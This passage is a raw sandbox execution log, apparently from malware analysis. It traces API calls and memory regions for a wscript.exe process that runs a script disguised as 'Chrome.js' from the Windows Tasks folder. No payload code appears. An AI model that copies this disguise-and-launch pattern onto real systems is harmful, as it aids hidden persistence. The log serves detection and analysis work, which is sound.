GetCurrentProcessId () returned 0x7ac [0256.744] GetCurrentThreadId () returned 0x140 [0256.744] GetTickCount () returned 0x4b6a1 [0256.745] ISystemDebugEventFire:BeginSession (This=0x2e0b20, guidSourceID=0x7fef36bd5d8, strSessionName="VBScript:00001964:00000320:18308897") returned 0x0 [0256.745] GetCurrentThreadId () returned 0x140 [0256.745] ISystemDebugEventFire:IsActive (This=0x2e0b20) returned 0x1 [0256.758] GetCurrentThreadId () returned 0x140 [0256.758] GetCurrentThreadId () returned 0x140 [0256.758] GetCurrentThreadId () returned 0x140 [0256.758] GetCurrentThreadId () returned 0x140 [0256.758] GetCurrentThreadId () returned 0x140 [0256.759] GetCurrentThreadId () returned 0x140 [0256.759] GetCurrentThreadId () returned 0x140 [0256.759] GetCurrentThreadId () returned 0x140 [0256.793] GetCurrentThreadId () returned 0x140 [0256.793] DllRegisterServer () returned 0x0 [0256.794] ISystemDebugEventFire:IsActive (This=0x2e0b20) returned 0x1 [0256.794] GetCurrentThreadId () returned 0x140 [0256.795] DllRegisterServer () returned 0x0 [0256.795] GetCurrentThreadId () returned 0x140 [0256.797] ISystemDebugEventFire:IsActive (This=0x2e0b20) returned 0x1 [0256.797] GetCurrentThreadId () returned 0x140 [0256.797] DllRegisterServer () returned 0x0 [0256.798] GetCurrentThreadId () returned 0x140 [0256.798] DllRegisterServer () returned 0x0 [0256.798] ISystemDebugEventFire:IsActive (This=0x2e0b20) returned 0x1 [0256.799] GetCurrentThreadId () returned 0x140 [0256.800] ISystemDebugEventFire:IsActive (This=0x2e0b20) returned 0x1 [0256.800] GetCurrentThreadId () returned 0x140 [0256.800] DllRegisterServer () returned 0x0 [0256.801] GetCurrentThreadId () returned 0x140 [0256.801] DllRegisterServer () returned 0x0 [0256.801] ISystemDebugEventFire:IsActive (This=0x2e0b20) returned 0x1 [0256.801] GetCurrentThreadId () returned 0x140 [0256.801] ISystemDebugEventFire:IsActive (This=0x2e0b20) returned 0x1 [0256.802] GetCurrentThreadId () returned 0x140 [0256.802] DllRegisterServer () returned 0x0 [0256.803] IUnknown:QueryInterface (in: This=0x2064340, riid=0x7fef36bd588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1eda20 | out: ppvObject=0x1eda20*=0x2064370) returned 0x0 [0256.803] IUnknown:Release (This=0x2064340) returned 0x1 [0256.803] IUnknown:QueryInterface (in: This=0x2064370, riid=0x7fef36bd588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1edd20 | out: ppvObject=0x1edd20*=0x2064370) returned 0x0 [0256.803] IDispatchEx:GetDispId (in: This=0x2064370, bstrName="GetNamedItem", grfdex=0x8, pid=0x1edc88 | out: pid=0x1edc88*=83) returned 0x0 [0256.803] IUnknown:Release (This=0x2064370) returned 0x1 [0256.803] IUnknown:AddRef (This=0x2064370) returned 0x2 [0256.803] IUnknown:QueryInterface (in: This=0x2064370, riid=0x7fef36bd588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1eda10 | out: ppvObject=0x1eda10*=0x2064370) returned 0x0 [0256.804] IDispatchEx:InvokeEx (in: This=0x2064370, id=83, lcid=0x409, wFlags=0x3, pdp=0x1ed9e8*(rgvarg=([0]=0x10e660*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="NAME", varVal2=0x34e758)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x1edc28, pei=0x1eda30, pspCaller=0x10f9f0 | out: pdp=0x1ed9e8*(rgvarg=([0]=0x10e660*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="NAME", varVal2=0x34e758)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x1edc28*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x205a280, varVal2=0x0), pei=0x1eda30*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0256.804] IUnknown:Release (This=0x2064370) returned 0x2 [0256.804] IUnknown:Release (This=0x2064370) returned 0x1 [0256.804] IUnknown:QueryInterface (in: This=0x205a280, riid=0x7fef36bd588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1eda20 | out: ppvObject=0x1eda20*=0x205a2b0) returned 0x0 [0256.804] IUnknown:Release (This=0x205a280) returned 0x1 [0256.804] IUnknown:QueryInterface (in: This=0x205a2b0, riid=0x7fef36bd588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1edd38 | out: ppvObject=0x1edd38*=0x205a2b0) returned 0x0 [0256.804] IDispatchEx:GetDispId (in: This=0x205a2b0, bstrName="Value", grfdex=0x8, pid=0x1edc8c | out: pid=0x1edc8c*=120) returned 0x0 [0256.804] IUnknown:Release (This=0x205a2b0) returned 0x1 [0256.804] IUnknown:AddRef (This=0x205a2b0) returned 0x2 [0256.804] IUnknown:QueryInterface (in: This=0x205a2b0, riid=0x7fef36bd588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1eda10 | out: ppvObject=0x1eda10*=0x205a2b0) returned 0x0 [0256.804] IDispatchEx:InvokeEx (in: This=0x205a2b0, id=120, lcid=0x409, wFlags=0x3, pdp=0x1ed9e8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x10e678, pei=0x1eda30, pspCaller=0x10f9f0 | out: pdp=0x1ed9e8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x10e678*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="UUID", varVal2=0x0), pei=0x1eda30*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0256.804] IUnknown:Release (This=0x205a2b0) returned 0x2 [0256.804] IUnknown:Release (This=0x205a2b0) returned 0x1 [0256.805] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROPERTY", cchCount1=8, lpString2="Property.Array", cchCount2=14) returned 1 [0256.805] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROPERTY", cchCount1=8, lpString2="Property.Reference", cchCount2=18) returned 1 [0256.808] GetCurrentThreadId () returned 0x140 [0256.808] ISystemDebugEventFire:IsActive (This=0x2e0b20) returned 0x1 [0256.809] GetCurrentThreadId () returned 0x140 [0256.809] DllRegisterServer () returned 0x0 [0256.817] GetCurrentThreadId () returned 0x140 [0256.817] GetCurrentThreadId () returned 0x140 [0256.817] IUnknown:Release (This=0x2e0b20) returned 0x1 [0256.817] DllRegisterServer () returned 0x0 [0256.817] DllRegisterServer () returned 0x0 [0256.817] GetUserDefaultLCID () returned 0x409 [0256.817] GetACP () returned 0x4e4 [0256.863] DllRegisterServer () returned 0x0 [0256.929] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0256.945] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0256.946] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0256.946] FreeThreadedDOMDocument:IUnknown:Release (This=0x20571d0) returned 0x0 [0256.946] ?Empty@CHString@@QEAAXXZ () returned 0x7fee2b7482c [0256.946] ?Empty@CHString@@QEAAXXZ () returned 0x7fee2b7482c [0256.947] WbemObjectTextSrc:IUnknown:Release (This=0x1b613d0) returned 0x0 [0256.947] IUnknown:Release (This=0x1b73c50) returned 0x0 [0256.947] WbemLocator:IUnknown:Release (This=0x1b61390) returned 0x2 [0256.947] WbemLocator:IUnknown:Release (This=0x1b73b28) returned 0x0 [0256.952] WbemLocator:IUnknown:Release (This=0x1b73a98) returned 0x0 [0256.952] WbemLocator:IUnknown:Release (This=0x1b61390) returned 0x1 [0256.952] ?Empty@CHString@@QEAAXXZ () returned 0x7fee2b7482c [0256.952] WbemLocator:IUnknown:Release (This=0x1b61390) returned 0x0 [0256.953] CoUninitialize () [0256.953] DllCanUnloadNow () returned 0x0 [0257.048] exit (_Code=0) [0257.049] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0257.049] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c Thread: id = 304 os_tid = 0x980 Thread: id = 305 os_tid = 0x9dc Thread: id = 306 os_tid = 0x5a8 Thread: id = 307 os_tid = 0x5fc Process: id = "22" image_name = "wscript.exe" filename = "c:\\windows\\system32\\wscript.exe" page_root = "0x29d47000" os_pid = "0x968" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x850" cmd_line = "C:\\Windows\\System32\\WScript.exe \"C:\\Windows\\Tasks\\Chrome.js\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3095 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3096 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3097 start_va = 0x150000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3098 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3099 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3100 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3101 start_va = 0xffd60000 end_va = 0xffd8bfff entry_point = 0xffd60000 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 3102 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3103 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3104 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3105 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3106 start_va = 0x40000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 3107 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3108 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3109 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3110 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3111 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 3112 start_va = 0x250000 end_va = 0x2b6fff entry_point = 0x250000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3113 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 3114 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3115 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3116 start_va = 0x400000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3117 start_va = 0x410000 end_va = 0x597fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 3118 start_va = 0x5a0000 end_va = 0x720fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 3119 start_va = 0x730000 end_va = 0x1b2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 3120 start_va = 0x1b30000 end_va = 0x1e72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b30000" filename = "" Region: id = 3121 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3122 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3123 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3124 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3125 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3126 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3127 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3128 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3129 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3130 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3131 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3132 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3133 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3134 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3135 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3136 start_va = 0x1e80000 end_va = 0x1efcfff entry_point = 0x1e80000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3137 start_va = 0x1e80000 end_va = 0x1efcfff entry_point = 0x1e80000 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3138 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3139 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3140 start_va = 0x1e80000 end_va = 0x1f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 3141 start_va = 0x1f70000 end_va = 0x204efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f70000" filename = "" Region: id = 3142 start_va = 0x21d0000 end_va = 0x22cffff entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 3143 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3144 start_va = 0x22d0000 end_va = 0x259efff entry_point = 0x22d0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3145 start_va = 0x3e0000 end_va = 0x3e5fff entry_point = 0x3e0000 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 3146 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 3147 start_va = 0x26b0000 end_va = 0x27affff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 3148 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3149 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3150 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3151 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3152 start_va = 0x1e80000 end_va = 0x1e80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 3153 start_va = 0x1ef0000 end_va = 0x1f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 3154 start_va = 0x7fef90e0000 end_va = 0x7fef91c2fff entry_point = 0x7fef90e0000 region_type = mapped_file name = "jscript.dll" filename = "\\Windows\\System32\\jscript.dll" (normalized: "c:\\windows\\system32\\jscript.dll") Region: id = 3155 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3156 start_va = 0x1e90000 end_va = 0x1e90fff entry_point = 0x1e90000 region_type = mapped_file name = "chrome.js" filename = "\\Windows\\Tasks\\Chrome.js" (normalized: "c:\\windows\\tasks\\chrome.js") Region: id = 3157 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 3158 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3159 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3160 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3161 start_va = 0x1e90000 end_va = 0x1ed4fff entry_point = 0x1e90000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3162 start_va = 0x1e90000 end_va = 0x1ed4fff entry_point = 0x1e90000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3163 start_va = 0x1e90000 end_va = 0x1ed4fff entry_point = 0x1e90000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3164 start_va = 0x1e90000 end_va = 0x1ed4fff entry_point = 0x1e90000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3165 start_va = 0x1e90000 end_va = 0x1ed4fff entry_point = 0x1e90000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3166 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3167 start_va = 0x1e90000 end_va = 0x1e90fff entry_point = 0x1e90000 region_type = mapped_file name = "chrome.js" filename = "\\Windows\\Tasks\\Chrome.js" (normalized: "c:\\windows\\tasks\\chrome.js") Region: id = 3168 start_va = 0x2090000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 3169 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3170 start_va = 0x7fefbb40000 end_va = 0x7fefbb4afff entry_point = 0x7fefbb40000 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\System32\\msisip.dll" (normalized: "c:\\windows\\system32\\msisip.dll") Region: id = 3171 start_va = 0x27b0000 end_va = 0x37affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027b0000" filename = "" Region: id = 3172 start_va = 0x1ea0000 end_va = 0x1ea0fff entry_point = 0x1ea0000 region_type = mapped_file name = "chrome.js" filename = "\\Windows\\Tasks\\Chrome.js" (normalized: "c:\\windows\\tasks\\chrome.js") Region: id = 3173 start_va = 0x3910000 end_va = 0x3a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000003910000" filename = "" Region: id = 3174 start_va = 0x7fef92b0000 end_va = 0x7fef92ccfff entry_point = 0x7fef92b0000 region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\System32\\wshext.dll" (normalized: "c:\\windows\\system32\\wshext.dll") Region: id = 3175 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3176 start_va = 0x7fef8080000 end_va = 0x7fef811ffff entry_point = 0x7fef8080000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 3177 start_va = 0x7fefed90000 end_va = 0x7fefee26fff entry_point = 0x7fefed90000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 3178 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3179 start_va = 0x25a0000 end_va = 0x265ffff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 3180 start_va = 0x37b0000 end_va = 0x38affff entry_point = 0x0 region_type = private name = "private_0x00000000037b0000" filename = "" Region: id = 3181 start_va = 0x7fef9210000 end_va = 0x7fef924bfff entry_point = 0x7fef9210000 region_type = mapped_file name = "scrobj.dll" filename = "\\Windows\\System32\\scrobj.dll" (normalized: "c:\\windows\\system32\\scrobj.dll") Region: id = 3182 start_va = 0x7fef92e0000 end_va = 0x7fef931afff entry_point = 0x7fef92e0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 3183 start_va = 0x1e90000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 3184 start_va = 0x3a90000 end_va = 0x3b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a90000" filename = "" Region: id = 3185 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3186 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3187 start_va = 0x3d30000 end_va = 0x3e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d30000" filename = "" Region: id = 3188 start_va = 0x3ee0000 end_va = 0x3fdffff entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 3189 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3190 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3191 start_va = 0x7fef8050000 end_va = 0x7fef8077fff entry_point = 0x7fef8050000 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 3192 start_va = 0x7fefb570000 end_va = 0x7fefb587fff entry_point = 0x7fefb570000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 3193 start_va = 0x7fef8010000 end_va = 0x7fef8043fff entry_point = 0x7fef8010000 